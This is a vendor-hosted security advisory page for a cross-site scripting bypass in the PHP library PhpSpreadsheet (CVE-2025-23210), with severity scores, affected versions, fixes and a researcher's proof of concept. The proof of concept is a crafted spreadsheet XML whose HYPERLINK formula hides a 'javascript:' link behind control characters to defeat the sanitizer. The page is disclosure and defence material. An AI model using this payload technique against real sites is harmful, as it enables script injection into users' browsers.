How severe is GHSA-r57h-547h-w24f?

GHSA-r57h-547h-w24f has a CVSS score of 5.4/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-r57h-547h-w24f?

GHSA-r57h-547h-w24f affects the following packages: phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpexcel (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-r57h-547h-w24f?

Update phpoffice/phpspreadsheet to 3.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r57h-547h-w24f is resolved across your whole dependency graph.

How do I detect GHSA-r57h-547h-w24f in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-r57h-547h-w24f if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-r57h-547h-w24f?

O3 pinpoints whether GHSA-r57h-547h-w24f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-r57h-547h-w24f actively exploited in the wild?

No public exploit code has been indexed for GHSA-r57h-547h-w24f yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-r57h-547h-w24f?

GHSA-r57h-547h-w24f has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 30th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-r57h-547h-w24f?

GHSA-r57h-547h-w24f is classified as Cross-site Scripting (XSS) (CWE-79). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-r57h-547h-w24f published, and has it been updated?

GHSA-r57h-547h-w24f was published on February 3, 2025 and was last updated on March 6, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-r57h-547h-w24f

MEDIUM

PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters

Also known asCVE-2025-23210

Published

Feb 3, 2025

Updated

Mar 6, 2025

Affected

5 pkgs

Patched

4 / 5

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk30th percentile+0.27%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

5 pkgs affected

🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpexcel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated xml file Mitigation: additional sanitization of special characters in a string Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 
 
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.

Figure 4. Generating a link bypassing a regular expression fig4

In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.

Figure 5. Response from the server with a special character fig5

When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.

Figure 6. Executing JavaScript code <img width="595" alt="fig6" src="https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1" />

Credit

Igor Sak-Sakovskiy (Positive Technologies)

Affected Packages

5 total 4 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 3.0.0&&< 3.9.0	3.9.0
🐘Packagist	`phpoffice/phpspreadsheet`	all versions	1.29.9
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.2.0&&< 2.3.7	2.3.7
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.0.0&&< 2.1.8	2.1.8
🐘Packagist	`phpoffice/phpexcel`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phpoffice/phpspreadsheet to 3.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r57h-547h-w24f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r57h-547h-w24f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-r57h-547h-w24f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

**Product:** PhpSpreadsheet **Version:** 3.8.0 **CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) **CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) **Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link **Impact:** executing arbitrary JavaScript code in the browser **Vulnerable component:** class `PhpOffice\PhpSpreadsheet\Writer\Html`, me

O3 Security · Impact-Aware SCA

Is GHSA-r57h-547h-w24f in your dependencies?

O3 detects GHSA-r57h-547h-w24f across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works